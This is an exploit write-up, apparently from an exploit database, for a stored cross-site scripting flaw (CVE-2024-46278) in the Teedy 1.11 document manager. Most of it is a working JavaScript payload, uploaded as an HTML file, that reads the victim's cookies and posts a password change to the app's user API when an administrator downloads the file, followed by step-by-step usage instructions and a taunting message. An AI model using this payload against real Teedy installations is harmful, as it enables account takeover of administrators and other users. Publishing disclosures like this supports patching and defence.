Teedy 1.11 – Account Takeover via Stored Cross-Site Scripting (XSS)
# Exploit Title: Teedy 1.11 - Account Takeover via Stored Cross-Site Scripting (XSS) # Exploit Author: Ayato Shitomi @ Fore-Z co.ltd # Demo Video: https://www.youtube.com/watch?v=udQgVogsmhA # Vendor Homepage: https://teedy.io/ # Software Link: https://github.com/Tomblib0/Teedy # Version: 1.11 # Tested on: Linux # CVE : CVE-2024-46278 There is a vulnerability that causes XSS when downloading files. XSS vulnerability could allow a Teedy administrator to rob an account with a few clicks. Login as an attacker’s account. Upload this file as html type. You have to change “Origin” and “Referer” and argument for fetch in need. ``` <script> const currentCookie = document.cookie; const requestOptions = { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', 'Accept': 'application/json, text/plain, */*', 'Cookie': currentCookie, 'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"', 'sec-ch-ua-mobile': '?0', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36', 'sec-ch-ua-platform': '"Linux"', 'Origin': 'http://localhost:8080', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': 'http://localhost:8080/', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.9' }, body: 'password=superSecure2&passwordconfirm=superSecure2' }; fetch('http://localhost:8080/api/user', requestOptions) .then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } document.write('<h1>Your account was taken over by the attacker LOL</h1>'); return response.json(); }) .then(data => console.log(data)) .catch(error => console.error('There was a problem with your fetch operation:', error)); </script> ``` Login with another account. eg. admin Click on the file uploaded by the attacker and select Download this file. |